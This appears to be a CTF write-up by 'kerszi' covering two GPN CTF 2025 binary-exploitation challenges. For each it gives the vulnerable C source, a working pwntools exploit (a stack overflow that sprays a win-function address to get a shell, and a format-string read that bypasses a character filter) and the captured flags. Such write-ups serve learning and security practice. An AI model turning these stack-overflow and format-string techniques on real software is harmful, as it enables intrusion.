- Published on
GPN CTF 2025 - PWN challenges
- Authors
- Name
- kerszi
Introduction

Table of contents
Note editor

In this challenge, we received both the source code and the binary, which made things a bit easier. At first, I thought about exploiting the heap, but it turned out that we needed to overflow the stack instead. However, the approach was a bit unusual—we had to inject many addresses pointing to the win function. I have to admit, I spent some time on this, but the task was really enjoyable.
Source code
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define NOTE_SIZE 1024
struct Note {
char* buffer;
size_t size;
uint32_t budget;
uint32_t pos;
};
typedef struct Note Note;
#define SCANLINE(format, args) \
({ \
char* __scanline_line = NULL; \
size_t __scanline_length = 0; \
getline(&__scanline_line, &__scanline_length, stdin); \
sscanf(__scanline_line, format, args); \
})
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void reset(Note* note) {
memset(note->buffer, 0, note->size);
note->budget = note->size;
note->pos = 0;
}
void append(Note* note) {
printf("Append something to your note (%u bytes left):\n", note->budget);
fgets(note->buffer + note->pos, note->budget, stdin);
uint32_t written = strcspn(note->buffer + note->pos, "\n") + 1;
note->budget -= written;
note->pos += written;
}
void edit(Note* note) {
printf("Give me an offset where you want to start editing: ");
uint32_t offset;
SCANLINE("%u", &offset);
printf("How many bytes do you want to overwrite: ");
int64_t length;
SCANLINE("%ld", &length);
if (offset <= note->pos) {
uint32_t lookback = (note->pos - offset);
if (length <= note->budget + lookback) {
fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte
uint32_t written = strcspn(note->buffer + offset, "\n") + 1;
if (written > lookback) {
note->budget -= written - lookback;
note->pos += written - lookback;
}
}
} else {
printf("Maybe write something there first.\n");
}
}
void truncate(Note* note) {
printf("By how many bytes do you want to truncate?\n");
uint32_t length;
SCANLINE("%u", &length);
if (length > note->pos) {
printf("You did not write that much, yet.\n");
} else {
note->pos -= length;
memset(note->buffer + note->pos, 0, length);
note->budget += length;
}
}
uint32_t menu() {
uint32_t choice;
printf(
"Choose your action:\n"
"1. Reset note\n"
"2. View current note\n"
"3. Append line to note\n"
"4. Edit line at offset\n"
"5. Truncate note\n"
"6. Quit\n"
);
SCANLINE("%u", &choice);
return choice;
}
int main() {
Note note;
char buffer[NOTE_SIZE];
note = (Note) {
.buffer = buffer,
.size = sizeof(buffer),
.pos = 0,
.budget = sizeof(buffer)
};
setup();
reset(¬e);
printf("Welcome to the terminal note editor as a service.\n");
while (1)
{
uint32_t choice = menu();
switch (choice)
{
case 1:
reset(¬e);
break;
case 2:
printf("Current note content:\n\"\"\"\n");
puts(note.buffer);
printf("\"\"\"\n");
break;
case 3:
append(¬e);
break;
case 4:
edit(¬e);
break;
case 5:
truncate(¬e);
break;
case 6: // fall trough to exit
printf("Bye\n");
return 0;
default:
printf("Exiting due to error or invalid action.\n");
exit(1);
}
}
}
Solution
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="mountcity-of-constant-markets.gpn23.ctf.kitctf.de:443"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT,ssl=True)
else:
p = process(binary.path)
win=binary.sym.win
p.sendline(b'3')
p.sendlineafter(b'left):',b'A'*1020)
p.sendlineafter(b'6. Quit',b'4')
p.sendlineafter(b'editing:', b'1020')
p.sendlineafter(b'How many bytes do you want to overwrite:', b'4')
p.sendline(b'Z'*4)
p.sendlineafter(b'6. Quit',b'4')
p.sendlineafter(b'editing:', b'1038')
p.sendlineafter(b'How many bytes do you want to overwrite:', b'300')
p.sendline(35*p64(win)) #to fill stack, sometimed 5,10,20 enought
p.sendlineafter(b'6. Quit',b'6')
p.sendline(b'cat /flag')
p.interactive()
GPNCTF{NOw_YoU_sURE1Y_aR3_r3AdY_TO_PwN_L4dyb1Rd!}
no-nc

I really enjoyed this challenge, perhaps because I spent quite a bit of time on it. The result could be achieved in several ways. Here, we were only given the source code, which both simplified and complicated things. It looked like a typical printf buffer task. After analyzing the code, it turned out that we needed to read the flag, which wasn't in a file but in the environment variables. So, we had to try reading the file nc
or nc.c
(if it existed). Unfortunately, the characters n
, c
, .
, and /
were blocked. So how do you solve it? Analyze the code and you'll find out... :)
Source code:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#define RAW_FLAG "GPNCTF{fake_flag}"
char *FLAG = RAW_FLAG;
int no(char c)
{
if (c == '.')
return 1;
if (c == '/')
return 1;
if (c == 'n')
return 1;
if (c == 'c')
return 1;
return 0;
}
char filebuf[4096] = {};
int main(int argc, char **argv)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
char buf[200] = {};
puts("Give me a file to read");
read(STDIN_FILENO, buf, (sizeof buf) - 1);
buf[sizeof buf - 1] = '\0';
size_t str_len = strlen(buf);
for (size_t i = 0; i < str_len; i++)
{
if (no(buf[i]))
{
puts("I don't like your character!");
exit(1);
}
}
char *filename = calloc(200, 1);
snprintf(filename, (sizeof filename) - 1, buf);
puts("Will open:");
puts(filename);
int fd = open(filename, 0);
if (fd < 0)
{
perror("open");
exit(1);
}
while (1)
{
int count = read(fd, filebuf, (sizeof filebuf) - 1);
if (count > 0)
{
write(STDOUT_FILENO, filebuf, count);
}
else
{
break;
}
}
}
Solution
1 stage
from ast import main
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="springcreek-of-cosmically-laundering.gpn23.ctf.kitctf.de:443"
HOST="grandside-of-explosive-opportunity.gpn23.ctf.kitctf.de:443"
HOST="silverdale-of-painfully-excessive-unity.gpn23.ctf.kitctf.de:443"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./nc"
#find return of ./nc
for i in range(1, 200):
try:
#p = remote(ADDRESS, PORT, ssl=True)
p=process(BINARY_NAME)
payload = f"%{i}$s".encode()
#payload = f"%71$s%{i}$s".encode()
p.sendlineafter(b"Give me a file to read", payload)
p.recvuntil(b"Will open:")
p.recvline()
recv = p.recvline().strip()
try:
# Try to decode as hex, fallback to ascii if not hex
ascii_str = bytes.fromhex(recv.decode()).decode('ascii', errors='replace')
except Exception:
ascii_str = recv.decode('ascii', errors='replace')
warn(f"{i}: {recv} -> {ascii_str}")
except Exception as e:
warn(f"{i}: Exception occurred: {e}")
finally:
try:
p.close()
except Exception:
pass
p.interactive()
Result
[!] 58: b'UH\x89\xe5H\x81' -> UH��H�
[!] 59: b'\x80\xc1d<_U' -> ��d<_U
[!] 60: b'(null)' -> (null)
[!] 61: b'(null)' -> (null)
[!] 62: b'(null)' -> (null)
[!] 63: b'1\xedI\x89\xd1^' -> 1�I��^
[!] 64: b'\x01' -> \x01
[!] 65: b'(null)' -> (null)
[!] 66: b'(null)' -> (null)
[!] 67: b'\xf4f.\x0f\x1f\x84' -> �f.\x0f\x1f�
[!] 68: b'8' -> 8
[!] 69: Exception occurred:
[!] 70: Exception occurred:
[!] 71: b'./nc' -> ./nc
[!] 72: b'(null)' -> (null)
[!] 73: Exception occurred:
So, we found ./nc
at position 71 (%71$s
). This allowed us to read the binary file.
Second stage
from ast import main
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="springcreek-of-cosmically-laundering.gpn23.ctf.kitctf.de:443"
HOST="grandside-of-explosive-opportunity.gpn23.ctf.kitctf.de:443"
HOST="silverdale-of-painfully-excessive-unity.gpn23.ctf.kitctf.de:443"
HOST="stormdale-of-intense-trade.gpn23.ctf.kitctf.de:443"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./nc"
p=remote(ADDRESS,PORT,ssl=True)
p.sendlineafter(b'Give me a file to read',b'%71$s\x00')
RESP=p.recvall()
flag = re.search(br'GPNCTF{.*?}', RESP)
if flag:
print(flag.group().decode())
else:
print("Flag not found.")
p.interactive()

GPNCTF{uP_AND_DOWn_alL_aR0Und_6oES_7He_n_Dimen5iONA1_C1rClE_w7F_1S_7HiS_FLaG}